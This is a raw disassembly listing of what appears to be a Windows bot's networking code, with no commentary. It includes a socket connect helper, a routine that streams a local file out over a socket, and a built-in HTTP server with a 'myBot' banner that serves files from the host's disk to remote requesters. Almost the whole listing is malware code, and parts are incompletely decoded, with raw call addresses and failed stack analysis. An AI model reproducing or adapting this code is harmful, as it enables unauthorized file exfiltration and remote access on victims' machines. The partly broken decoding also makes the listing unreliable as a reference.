dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 0E8006A59h, 22C1670h
db 90h
byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao
dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h
dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h
dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h
dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h
dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h
dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh
dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah
dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh, 56000004h
dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh, 527FC085h
dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh
dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh
dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
dd 4337CCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh
dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h
dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h
dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch
dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh
dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43375Ch
dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43373Ch
dd 2F1E957h, 34BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh
dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h
dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43371C68h
dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h
dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h
dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h
dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h
dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh
dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh
dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B0BE05h
dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h
dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h
dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h
dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh
dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh
dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h
dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h, 6A0000CAh
dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch
dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
dd 43366Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43364C68h
dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364468h, 0F5E85000h
dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h
dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h
dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
dd 4335FCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh
dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h
dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh, 0E8500043h
dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h
dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h
dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h
dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h
dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah
dd 0C2C95B5Eh
db 4, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
nop
call near ptr 71AB41DAh
push 0
push 1
push 2
call near ptr 71AB3C22h
nop
push dword ptr [ebp+8]
mov dword_4CDCC8, eax
mov word ptr [ebp-10h], 2
nop
call near ptr 71AB12F8h
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CDCC8
call near ptr 71AB3E5Dh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40F036
push dword_4CDCC8
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
nop
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F036: ; CODE XREF: ___:0040F01Ej
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
nop
call near ptr 266039Ah
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41B4C2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40F0D2
test byte ptr [esi+0Ch], 10h
jnz short loc_40F0B6
push edi
mov edi, 400h
loc_40F07E: ; CODE XREF: ___:0040F0B3j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41B11A
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CDCC8
call near ptr 71AB1AF4h
nop
push 1
nop
call near ptr 26703BBh
test byte ptr [esi+0Ch], 10h
jz short loc_40F07E
pop edi
loc_40F0B6: ; CODE XREF: ___:0040F076j
push esi
call sub_41B05B
pop ecx
push dword_4CDCC8
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
push 1
pop eax
loc_40F0D2: ; CODE XREF: ___:0040F070j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o
; sub_40BACD+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41B590
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CAF74
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CAFF4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40F4C0
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43DEBC[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CAFA0
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
push 7FFFFFFFh
push edi
call dword_4CAF9C
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CB010
cmp eax, 0FFFFFFFFh
jz loc_40F4C0
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CAF5C
cmp eax, 0FFFFFFFFh
jz loc_40F4BB
xor esi, esi
mov [ebp+var_4], esi
loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CAE60
test eax, eax
jz loc_40F4A6
cmp esi, [ebp+var_C]
jnz short loc_40F264
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CB008
cmp eax, 0FFFFFFFFh
jz loc_40F4A6
xor ecx, ecx
test ebx, ebx
jbe short loc_40F236
lea edx, [ebp+var_134]
loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj
cmp [edx], eax
jz short loc_40F236
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40F22A
loc_40F236: ; CODE XREF: sub_40F0D5+14Dj
; sub_40F0D5+157j
cmp ecx, ebx
jnz short loc_40F253
cmp ebx, 40h
jnb short loc_40F253
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40F253: ; CODE XREF: sub_40F0D5+163j
; sub_40F0D5+168j
cmp eax, [ebp+var_8]
jbe loc_40F4A6
mov [ebp+var_8], eax
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F264: ; CODE XREF: sub_40F0D5+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41B590
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CAF8C
test eax, eax
jg short loc_40F2F7
push esi
call dword_4CB00C
xor ecx, ecx
test ebx, ebx
jbe loc_40F4A6
lea eax, [ebp+var_134]
loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj
cmp [eax], esi
jz short loc_40F2C7
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F2B6
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F2EB
lea eax, [ebp+ecx*4+var_134]
loc_40F2D5: ; CODE XREF: sub_40F0D5+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F2D5
loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41B590
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jbe loc_40F4A6
loc_40F325: ; CODE XREF: sub_40F0D5+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40F3CA
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_40F39E
lea eax, [ebp+var_18F0]
push eax
call sub_41AFE0
cmp eax, 5
pop ecx
jbe short loc_40F39E
mov eax, offset asc_42CA2C ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41C0F4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41BEB0
add esp, 10h
jmp short loc_40F3B5
; ---------------------------------------------------------------------------
loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj
; sub_40F0D5+291j
lea eax, [ebp+var_18F0]
push offset asc_43381C ; "\r\n"
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40F3E9
loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40F3CA: ; CODE XREF: sub_40F0D5+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41AFE0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40F325
jmp loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40F433
lea eax, [ebp+var_134]
loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40F406
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F3F5
jmp short loc_40F436
; ---------------------------------------------------------------------------
loc_40F406: ; CODE XREF: sub_40F0D5+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F42A
lea eax, [ebp+ecx*4+var_134]
loc_40F414: ; CODE XREF: sub_40F0D5+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F414
loc_40F42A: ; CODE XREF: sub_40F0D5+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40F436
; ---------------------------------------------------------------------------
loc_40F433: ; CODE XREF: sub_40F0D5+318j
mov esi, [ebp+var_4]
loc_40F436: ; CODE XREF: sub_40F0D5+32Fj
; sub_40F0D5+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40F49F
lea eax, [ebp+var_360]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40F49F
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CB010
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_40F6B3
add esp, 14h
jmp short loc_40F4A6
; ---------------------------------------------------------------------------
loc_40F49F: ; CODE XREF: sub_40F0D5+369j
; sub_40F0D5+38Fj
push esi
call dword_4CB00C
loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj
; sub_40F0D5+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40F1E2
jmp loc_40F1AC
; ---------------------------------------------------------------------------
loc_40F4BB: ; CODE XREF: sub_40F0D5+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj
; sub_40F0D5+92j ...
call dword_4CAF08
push eax
lea eax, [ebp+var_8F0]
push offset unk_4337F4
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40F506
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409A72
add esp, 14h
loc_40F506: ; CODE XREF: sub_40F0D5+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB00C
push [ebp+var_254]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
pop edi
pop esi
pop ebx
sub_40F0D5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41BB20
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41B886
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40F596
push offset aTextHtml ; "text/html"
jmp short loc_40F59B
; ---------------------------------------------------------------------------
loc_40F596: ; CODE XREF: sub_40F530+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40F59B: ; CODE XREF: sub_40F530+64j
lea eax, [ebp+var_9C]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 2720000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 2711635h
nop
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40F614
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 24h
jmp short loc_40F635
; ---------------------------------------------------------------------------
loc_40F614: ; CODE XREF: sub_40F530+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 28h
loc_40F635: ; CODE XREF: sub_40F530+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CAFC4
cmp [ebp+var_A4], edi
jnz short loc_40F675
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_40FFF0
pop ecx
pop ecx
jmp short loc_40F692
; ---------------------------------------------------------------------------
loc_40F675: ; CODE XREF: sub_40F530+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_40F96A
add esp, 10h
loc_40F692: ; CODE XREF: sub_40F530+143j
push [ebp+var_44C]
call dword_4CB00C
push [ebp+var_B4]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26D0000h
pop edi
pop esi
sub_40F530 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41B590
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40F6E9
push eax
push offset aS_3 ; "\\%s"
jmp short loc_40F6F2
; ---------------------------------------------------------------------------
loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40F6F2: ; CODE XREF: sub_40F6B3+34j
lea eax, [ebp+var_10C]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_40F78D
mov [ebp+arg_8], 2
loc_40F71D: ; CODE XREF: sub_40F6B3+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41AFE0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40F75D
cmp [ebp+esi+var_10C], 25h
jnz short loc_40F75D
cmp [ebp+esi+var_10B], 32h
jnz short loc_40F75D
cmp [ebp+esi+var_10A], 30h
jnz short loc_40F75D
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40F777
; ---------------------------------------------------------------------------
loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj
; sub_40F6B3+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40F76D
push 5Ch
pop eax
jmp short loc_40F770
; ---------------------------------------------------------------------------
loc_40F76D: ; CODE XREF: sub_40F6B3+B3j
movsx eax, al
loc_40F770: ; CODE XREF: sub_40F6B3+B8j
mov [ebp+ebx+var_210], al
loc_40F777: ; CODE XREF: sub_40F6B3+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_40F71D
loc_40F78D: ; CODE XREF: sub_40F6B3+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_4293C4
push eax
call sub_41B886
lea eax, [ebp+var_314]
push offset asc_429998 ; "\n"
push eax
call sub_41C0F4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call near ptr 2680495h
nop
push 1
cmp eax, 10h
pop esi
jz short loc_40F7DE
cmp eax, 0FFFFFFFFh
jnz short loc_40F7E1
push [ebp+arg_0]
jmp loc_40F861
; ---------------------------------------------------------------------------
loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj
mov [ebp+var_4], esi
loc_40F7E1: ; CODE XREF: sub_40F6B3+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40F7EE
mov [ebp+var_4], esi
loc_40F7EE: ; CODE XREF: sub_40F6B3+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40F86C
cmp [ebp+arg_C], edi
jz short loc_40F860
lea eax, [ebp+var_314]
push offset asc_433AA8 ; "*"
push eax
call sub_41BEC0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
lea eax, [ebp+var_210]
push eax
call sub_4100AD
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41B886
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_40F8BB
; ---------------------------------------------------------------------------
loc_40F860: ; CODE XREF: sub_40F6B3+152j
push ebx
loc_40F861: ; CODE XREF: sub_40F6B3+126j
call dword_4CB00C
jmp loc_40F963
; ---------------------------------------------------------------------------
loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
nop
call near ptr 26F07E8h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40F8BB
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
nop
call near ptr 2720B64h
push esi
mov [ebp+var_330], eax
nop
call near ptr 265098Dh
loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj
; sub_40F6B3+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_433A74
push eax
call sub_41B886
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B0F6
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43DEB4[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40F530
push edi
push edi
nop
call near ptr 267042Eh
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43DEC4[ecx], eax
jz short loc_40F935
loc_40F923: ; CODE XREF: sub_40F6B3+280j
cmp [ebp+var_318], edi
jnz short loc_40F963
push 5
nop
call near ptr 26703BBh
jmp short loc_40F923
; ---------------------------------------------------------------------------
loc_40F935: ; CODE XREF: sub_40F6B3+26Ej
push ebx
call dword_4CB00C
nop
call near ptr 2670D70h
push eax
lea eax, [ebp+var_8C4]
push offset unk_433A3C
push eax
call sub_41B886
lea eax, [ebp+var_8C4]
push eax
call sub_4151AC
add esp, 10h
loc_40F963: ; CODE XREF: sub_40F6B3+1B4j
; sub_40F6B3+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F6B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap
; sub_40F530+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
